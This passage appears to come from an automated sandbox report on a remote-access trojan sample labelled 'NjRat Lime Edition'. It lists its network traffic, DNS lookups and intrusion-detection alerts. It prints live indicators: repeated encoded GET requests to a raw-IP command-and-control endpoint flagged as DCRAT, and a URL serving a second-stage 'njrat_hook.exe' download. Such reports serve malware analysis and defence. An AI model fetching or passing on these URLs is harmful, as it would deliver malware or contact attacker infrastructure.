nTYpVb502YRJUeOdWTzQmdS1mYwRGbJZTSpNGbaxmYwRGbJNHMulEakdVYTlzUadXOtNWMWtWS2k0UaVXOtVGbxcVYwo0QMlWQE10dBRUT3lUaPl2dXlFMONjY3p0QMlWRXFmMShVWNJ0UMdWUXpFcadVYqZ1RjpnQDRmd1sWS2kUealXOtl0cJNlT5dXeOFTSp9UaNJjYzp0QMlWWGRVavpWS1oESkVnVzImaKNETplUaPlGNyIGckdlW5p0QMlWSp9UarhEZw5UbJNXSp5UdJRlT1lFVPhHNp5UNFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETpVkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikzM3gjYwIDO4kzNzQGZ5UDO0ETO2gjY4IjMilTZ0Y2YiwiIjZTYwImM0MmNjlDZ1UmMjZGNzU2Y2ATOjljMiJDM3UjZjVjNyYmN0IiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYis3W
unknown
text
104 b
malicious
2744
csrss.exe
GET
200
62.182.157.170:80
http://62.182.157.170/PublictempLongpoll6/centralUniversalserver/publicdownloadsWordpressTraffic/linuxSqlgeneratorDownloads/Temporaryprocessor/privatePacket82/longpollPubliccdnMulti/Traffic8Baseexternal/videoJsPacketAsyncTraffic.php?5xHHHcv9umj8=A9fM78kv3x0gBN1yJBTGW80Ek08&5adb305be6b57d114eefcc8ce6719f85=QOwI2MlVWMlV2NwMTZzADMlBDOlFmY2cTY4EjNyEjMyYDN1QGO3EDO0gzM2kDMykzMzQTM4ITM&af2456c33ff92b00ccbdb00daccbf388=gY1UGOxImNmNmMyQ2MjBTNwM2YkZzY5QjM0MDZ4YzYllTN5MGZhdzN&2a3eea263f67cdf1363195b196a26677=QX9JSUmlGNyIGcShVW0p0Mi1WNXN1Z3dkYoJ1MjVHbtJmV4ZEW6Z1RiBnWFlEdG12YulTbjFFeGhlNNtWS2k0QhBjRHVVa3lWS1R2MiVHdtJmVKl2Tpd2RkhmQGpVe5ITW6x2RSl2dplUavpWSvJFWZFVMXlVekdlWzZ1RWl2dplUavpWS6JESjJUMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWUVNVeWJzYWFzVZxmUzUVa3lWS6ljMaBnSIpFaKNDWzZ1VhlnSXllbKl2TplEWapnVWJGaWdEZUp0QMNHeXRWdwpWSuVzVZ1UMXlFbSNTVpdXaJRnRXpFMONDT6Z1RiBnWHlEdG12YulTbjdXOp9kaKl2Tpd2RkhmQWJGaWdEZUp0QMl2a5JGcSdFZCJUeOVzY5FlQClXYsJFSihmVtV1bBlmYKJ0UaVHbHRVd4x2YjlzVhtmVYF1ZjR1Tu1UVRd2cXpFM4dVWspkRLdWVtJmdod0Y2p0MZBXMrlkNJl3YsVjMi9mQzIWeOdVYOp0QMlWSp9UaNhlYo5UbZxGZsl0cJlmYjpESYh3aWFVTCFTVKJVRYNWNDh1Y4ZEWp9maJpXNXpFbKNTWUp0QMlWSqxUM0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOikzM3gjYwIDO4kzNzQGZ5UDO0ETO2gjY4IjMilTZ0Y2YiwiImN2NjRmY4EmYiFjNzUTYiFWN4MGM2cTY1IzN3QWN2gjYkNmMxMzNyIiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYis3W
unknown
text
2.00 Kb
malicious
2744
csrss.exe
GET
200
62.182.157.170:80
http://62.182.157.170/PublictempLongpoll6/centralUniversalserver/publicdownloadsWordpressTraffic/linuxSqlgeneratorDownloads/Temporaryprocessor/privatePacket82/longpollPubliccdnMulti/Traffic8Baseexternal/videoJsPacketAsyncTraffic.php?5xHHHcv9umj8=A9fM78kv3x0gBN1yJBTGW80Ek08&5adb305be6b57d114eefcc8ce6719f85=QOwI2MlVWMlV2NwMTZzADMlBDOlFmY2cTY4EjNyEjMyYDN1QGO3EDO0gzM2kDMykzMzQTM4ITM&af2456c33ff92b00ccbdb00daccbf388=gY1UGOxImNmNmMyQ2MjBTNwM2YkZzY5QjM0MDZ4YzYllTN5MGZhdzN&18b1e2605681a7b5474eae64e9281479=d1nI3I2MiVmM1QWNiRzYjFDMhVjZyM2MyQDOxYjY0EmN1kDZmNWNjJGOiJiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYis3W&77784164bcd789654b592e0546a81f4f=0VfiIiOikzM3gjYwIDO4kzNzQGZ5UDO0ETO2gjY4IjMilTZ0Y2YiwiI3I2MiVmM1QWNiRzYjFDMhVjZyM2MyQDOxYjY0EmN1kDZmNWNjJGOiJiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlmYzkTbiJXNXZ1bBlmYzkTbiJXNXZVavpWSsFzVZ9kVGVFRKNETptWaiNTOtJmc1clVvFUaiNTOtJmc1clVp9maJxWMXl1TWZUVIp0QMl2aslkNJlmYwFzRaJkTYFWa3lWSp9maJhkRFZVa3lWSwwWbRdWS610Z3dVW1lzVhpnTYpVb502YRJUeOdWTzQmdS1mYwRGbJZTSpNGbaxmYwRGbJNHMulEakdVYTlzUadXOtNWMWtWS2k0UaVXOtVGbxcVYwo0QMlWQE10dBRUT3lUaPl2dXlFMONjY3p0QMlWRXFmMShVWNJ0UMdWUXpFcadVYqZ1RjpnQDRmd1sWS2kUealXOtl0cJNlT5dXeOFTSp9UaNJjYzp0QMlWWGRVavpWS1oESkVnVzImaKNETplUaPlGNyIGckdlW5p0QMlWSp9UarhEZw5UbJNXSp5UdJRlT1lFVPhHNp5UNFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETpVkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikzM3gjYwIDO4kzNzQGZ5UDO0ETO2gjY4IjMilTZ0Y2YiwiIjZTYwImM0MmNjlDZ1UmMjZGNzU2Y2ATOjljMiJDM3UjZjVjNyYmN0IiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYis3W
unknown
text
104 b
malicious
2744
csrss.exe
GET
200
62.182.157.170:80
http://62.182.157.170/PublictempLongpoll6/centralUniversalserver/publicdownloadsWordpressTraffic/linuxSqlgeneratorDownloads/Temporaryprocessor/privatePacket82/longpollPubliccdnMulti/Traffic8Baseexternal/videoJsPacketAsyncTraffic.php?DasNF29U8RskkCARlFO4KlkP2d=Ja&HAD80XHT6V1eKtlfw60x=vtmnbzcVm103WKrhmLmKSI3Dpb1oWqE&d2cb1795e5b98ed9565fe1fe0324d6d9=dde7d1b8b532b1d5fa1cdd60ac760a8f&af2456c33ff92b00ccbdb00daccbf388=QM3ADM2MzMzImYkJTZiZDOiVmZilDZkJTN5cTZ0EmMyIDOkhTZxMGZ&DasNF29U8RskkCARlFO4KlkP2d=Ja&HAD80XHT6V1eKtlfw60x=vtmnbzcVm103WKrhmLmKSI3Dpb1oWqE
unknown
text
2.00 Kb
malicious
2744
csrss.exe
GET
200
62.182.157.170:80
http://62.182.157.170/PublictempLongpoll6/centralUniversalserver/publicdownloadsWordpressTraffic/linuxSqlgeneratorDownloads/Temporaryprocessor/privatePacket82/longpollPubliccdnMulti/Traffic8Baseexternal/videoJsPacketAsyncTraffic.php?5xHHHcv9umj8=A9fM78kv3x0gBN1yJBTGW80Ek08&5adb305be6b57d114eefcc8ce6719f85=QOwI2MlVWMlV2NwMTZzADMlBDOlFmY2cTY4EjNyEjMyYDN1QGO3EDO0gzM2kDMykzMzQTM4ITM&af2456c33ff92b00ccbdb00daccbf388=gY1UGOxImNmNmMyQ2MjBTNwM2YkZzY5QjM0MDZ4YzYllTN5MGZhdzN&18b1e2605681a7b5474eae64e9281479=d1nI3I2MiVmM1QWNiRzYjFDMhVjZyM2MyQDOxYjY0EmN1kDZmNWNjJGOiJiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYis3W&77784164bcd789654b592e0546a81f4f=0VfiIiOikzM3gjYwIDO4kzNzQGZ5UDO0ETO2gjY4IjMilTZ0Y2YiwiI3I2MiVmM1QWNiRzYjFDMhVjZyM2MyQDOxYjY0EmN1kDZmNWNjJGOiJiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlmYzkTbiJXNXZ1bBlmYzkTbiJXNXZVavpWSsFzVZ9kVGVFRKNETptWaiNTOtJmc1clVvFUaiNTOtJmc1clVp9maJxWMXl1TWZUVIp0QMl2aslkNJlmYwFzRaJkTYFWa3lWSp9maJhkRFZVa3lWSwwWbRdWS610Z3dVW1lzVhpnTYpVb502YRJUeOdWTzQmdS1mYwRGbJZTSpNGbaxmYwRGbJNHMulEakdVYTlzUadXOtNWMWtWS2k0UaVXOtVGbxcVYwo0QMlWQE10dBRUT3lUaPl2dXlFMONjY3p0QMlWRXFmMShVWNJ0UMdWUXpFcadVYqZ1RjpnQDRmd1sWS2kUealXOtl0cJNlT5dXeOFTSp9UaNJjYzp0QMlWWGRVavpWS1oESkVnVzImaKNETplUaPlGNyIGckdlW5p0QMlWSp9UarhEZw5UbJNXSp5UdJRlT1lFVPhHNp5UNFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETpVkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikzM3gjYwIDO4kzNzQGZ5UDO0ETO2gjY4IjMilTZ0Y2YiwiIjZTYwImM0MmNjlDZ1UmMjZGNzU2Y2ATOjljMiJDM3UjZjVjNyYmN0IiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYis3W
unknown
text
104 b
malicious
508
NjRat Lime Edition 0.8.0.exe
GET
200
31.31.196.189:80
http://u1405914.isp.regruhosting.ru/nj/njrat_hook.exe
RU
executable
1.46 Mb
suspicious
2744
csrss.exe
GET
200
62.182.157.170:80
http://62.182.157.170/PublictempLongpoll6/centralUniversalserver/publicdownloadsWordpressTraffic/linuxSqlgeneratorDownloads/Temporaryprocessor/privatePacket82/longpollPubliccdnMulti/Traffic8Baseexternal/videoJsPacketAsyncTraffic.php?5xHHHcv9umj8=A9fM78kv3x0gBN1yJBTGW80Ek08&5adb305be6b57d114eefcc8ce6719f85=QOwI2MlVWMlV2NwMTZzADMlBDOlFmY2cTY4EjNyEjMyYDN1QGO3EDO0gzM2kDMykzMzQTM4ITM&af2456c33ff92b00ccbdb00daccbf388=gY1UGOxImNmNmMyQ2MjBTNwM2YkZzY5QjM0MDZ4YzYllTN5MGZhdzN&18b1e2605681a7b5474eae64e9281479=d1nI3I2MiVmM1QWNiRzYjFDMhVjZyM2MyQDOxYjY0EmN1kDZmNWNjJGOiJiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYis3W&77784164bcd789654b592e0546a81f4f=0VfiIiOikzM3gjYwIDO4kzNzQGZ5UDO0ETO2gjY4IjMilTZ0Y2YiwiI3I2MiVmM1QWNiRzYjFDMhVjZyM2MyQDOxYjY0EmN1kDZmNWNjJGOiJiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlmYzkTbiJXNXZ1bBlmYzkTbiJXNXZVavpWSsFzVZ9kVGVFRKNETptWaiNTOtJmc1clVvFUaiNTOtJmc1clVp9maJxWMXl1TWZUVIp0QMl2aslkNJlmYwFzRaJkTYFWa3lWSp9maJhkRFZVa3lWSwwWbRdWS610Z3dVW1lzVhpnTYpVb502YRJUeOdWTzQmdS1mYwRGbJZTSpNGbaxmYwRGbJNHMulEakdVYTlzUadXOtNWMWtWS2k0UaVXOtVGbxcVYwo0QMlWQE10dBRUT3lUaPl2dXlFMONjY3p0QMlWRXFmMShVWNJ0UMdWUXpFcadVYqZ1RjpnQDRmd1sWS2kUealXOtl0cJNlT5dXeOFTSp9UaNJjYzp0QMlWWGRVavpWS1oESkVnVzImaKNETplUaPlGNyIGckdlW5p0QMlWSp9UarhEZw5UbJNXSp5UdJRlT1lFVPhHNp5UNFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETpVkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikzM3gjYwIDO4kzNzQGZ5UDO0ETO2gjY4IjMilTZ0Y2YiwiIjZTYwImM0MmNjlDZ1UmMjZGNzU2Y2ATOjljMiJDM3UjZjVjNyYmN0IiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYis3W
unknown
text
104 b
malicious
2744
csrss.exe
GET
200
62.182.157.170:80
http://62.182.157.170/PublictempLongpoll6/centralUniversalserver/publicdownloadsWordpressTraffic/linuxSqlgeneratorDownloads/Temporaryprocessor/privatePacket82/longpollPubliccdnMulti/Traffic8Baseexternal/videoJsPacketAsyncTraffic.php?5xHHHcv9umj8=A9fM78kv3x0gBN1yJBTGW80Ek08&5adb305be6b57d114eefcc8ce6719f85=QOwI2MlVWMlV2NwMTZzADMlBDOlFmY2cTY4EjNyEjMyYDN1QGO3EDO0gzM2kDMykzMzQTM4ITM&af2456c33ff92b00ccbdb00daccbf388=gY1UGOxImNmNmMyQ2MjBTNwM2YkZzY5QjM0MDZ4YzYllTN5MGZhdzN&18b1e2605681a7b5474eae64e9281479=d1nI3I2MiVmM1QWNiRzYjFDMhVjZyM2MyQDOxYjY0EmN1kDZmNWNjJGOiJiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYis3W&77784164bcd789654b592e0546a81f4f=0VfiIiOikzM3gjYwIDO4kzNzQGZ5UDO0ETO2gjY4IjMilTZ0Y2YiwiI3I2MiVmM1QWNiRzYjFDMhVjZyM2MyQDOxYjY0EmN1kDZmNWNjJGOiJiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlmYzkTbiJXNXZ1bBlmYzkTbiJXNXZVavpWSsFzVZ9kVGVFRKNETptWaiNTOtJmc1clVvFUaiNTOtJmc1clVp9maJxWMXl1TWZUVIp0QMl2aslkNJlmYwFzRaJkTYFWa3lWSp9maJhkRFZVa3lWSwwWbRdWS610Z3dVW1lzVhpnTYpVb502YRJUeOdWTzQmdS1mYwRGbJZTSpNGbaxmYwRGbJNHMulEakdVYTlzUadXOtNWMWtWS2k0UaVXOtVGbxcVYwo0QMlWQE10dBRUT3lUaPl2dXlFMONjY3p0QMlWRXFmMShVWNJ0UMdWUXpFcadVYqZ1RjpnQDRmd1sWS2kUealXOtl0cJNlT5dXeOFTSp9UaNJjYzp0QMlWWGRVavpWS1oESkVnVzImaKNETplUaPlGNyIGckdlW5p0QMlWSp9UarhEZw5UbJNXSp5UdJRlT1lFVPhHNp5UNFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETpVkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikzM3gjYwIDO4kzNzQGZ5UDO0ETO2gjY4IjMilTZ0Y2YiwiIjZTYwImM0MmNjlDZ1UmMjZGNzU2Y2ATOjljMiJDM3UjZjVjNyYmN0IiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYis3W
unknown
text
104 b
malicious
2744
csrss.exe
GET
200
62.182.157.170:80
http://62.182.157.170/PublictempLongpoll6/centralUniversalserver/publicdownloadsWordpressTraffic/linuxSqlgeneratorDownloads/Temporaryprocessor/privatePacket82/longpollPubliccdnMulti/Traffic8Baseexternal/videoJsPacketAsyncTraffic.php?5xHHHcv9umj8=A9fM78kv3x0gBN1yJBTGW80Ek08&5adb305be6b57d114eefcc8ce6719f85=QOwI2MlVWMlV2NwMTZzADMlBDOlFmY2cTY4EjNyEjMyYDN1QGO3EDO0gzM2kDMykzMzQTM4ITM&af2456c33ff92b00ccbdb00daccbf388=gY1UGOxImNmNmMyQ2MjBTNwM2YkZzY5QjM0MDZ4YzYllTN5MGZhdzN&18b1e2605681a7b5474eae64e9281479=d1nI3I2MiVmM1QWNiRzYjFDMhVjZyM2MyQDOxYjY0EmN1kDZmNWNjJGOiJiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYis3W&77784164bcd789654b592e0546a81f4f=0VfiIiOikzM3gjYwIDO4kzNzQGZ5UDO0ETO2gjY4IjMilTZ0Y2YiwiI3I2MiVmM1QWNiRzYjFDMhVjZyM2MyQDOxYjY0EmN1kDZmNWNjJGOiJiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlmYzkTbiJXNXZ1bBlmYzkTbiJXNXZVavpWSsFzVZ9kVGVFRKNETptWaiNTOtJmc1clVvFUaiNTOtJmc1clVp9maJxWMXl1TWZUVIp0QMl2aslkNJlmYwFzRaJkTYFWa3lWSp9maJhkRFZVa3lWSwwWbRdWS610Z3dVW1lzVhpnTYpVb502YRJUeOdWTzQmdS1mYwRGbJZTSpNGbaxmYwRGbJNHMulEakdVYTlzUadXOtNWMWtWS2k0UaVXOtVGbxcVYwo0QMlWQE10dBRUT3lUaPl2dXlFMONjY3p0QMlWRXFmMShVWNJ0UMdWUXpFcadVYqZ1RjpnQDRmd1sWS2kUealXOtl0cJNlT5dXeOFTSp9UaNJjYzp0QMlWWGRVavpWS1oESkVnVzImaKNETplUaPlGNyIGckdlW5p0QMlWSp9UarhEZw5UbJNXSp5UdJRlT1lFVPhHNp5UNFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETpVkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikzM3gjYwIDO4kzNzQGZ5UDO0ETO2gjY4IjMilTZ0Y2YiwiIjZTYwImM0MmNjlDZ1UmMjZGNzU2Y2ATOjljMiJDM3UjZjVjNyYmN0IiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYis3W
unknown
text
104 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2744
csrss.exe
62.182.157.170:80
—
—
—
malicious
508
NjRat Lime Edition 0.8.0.exe
31.31.196.189:80
u1405914.isp.regruhosting.ru
Domain names registrar REG.RU, Ltd
RU
malicious
2352
chrome.exe
172.217.16.132:443
www.google.com
Google Inc.
US
whitelisted
2352
chrome.exe
142.250.186.46:443
clients2.google.com
Google Inc.
US
whitelisted
2352
chrome.exe
142.250.185.109:443
accounts.google.com
Google Inc.
US
suspicious
2352
chrome.exe
142.251.36.97:443
clients2.googleusercontent.com
Google Inc.
US
unknown
2352
chrome.exe
142.250.185.138:443
fonts.googleapis.com
Google Inc.
US
whitelisted
2352
chrome.exe
142.250.74.195:443
www.gstatic.com
Google Inc.
US
whitelisted
2352
chrome.exe
142.250.186.67:443
fonts.gstatic.com
Google Inc.
US
whitelisted
2352
chrome.exe
216.58.212.142:443
apis.google.com
Google Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
u1405914.isp.regruhosting.ru
  • 31.31.196.189
suspicious
clients2.google.com
  • 142.250.186.46
whitelisted
www.google.com
  • 172.217.16.132
malicious
accounts.google.com
  • 142.250.185.109
shared
clients2.googleusercontent.com
  • 142.251.36.97
whitelisted
fonts.googleapis.com
  • 142.250.185.138
whitelisted
www.gstatic.com
  • 142.250.74.195
whitelisted
fonts.gstatic.com
  • 142.250.186.67
whitelisted
apis.google.com
  • 216.58.212.142
whitelisted
clientservices.googleapis.com
  • 142.250.185.195
whitelisted

Threats

PID
Process
Class
Message
508
NjRat Lime Edition 0.8.0.exe
Potential Corporate Privacy Violation
AV POLICY HTTP request for .exe file with no User-Agent
508
NjRat Lime Edition 0.8.0.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
508
NjRat Lime Edition 0.8.0.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
508
NjRat Lime Edition 0.8.0.exe
Misc activity
ET INFO Packed Executable Download
508
NjRat Lime Edition 0.8.0.exe
Potential Corporate Privacy Violation
AV POLICY HTTP request for .exe file with no User-Agent
2744
csrss.exe
A Network Trojan was detected
ET TROJAN DCRAT Activity (GET)
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
NjRat Lime Edition 0.8.0.exe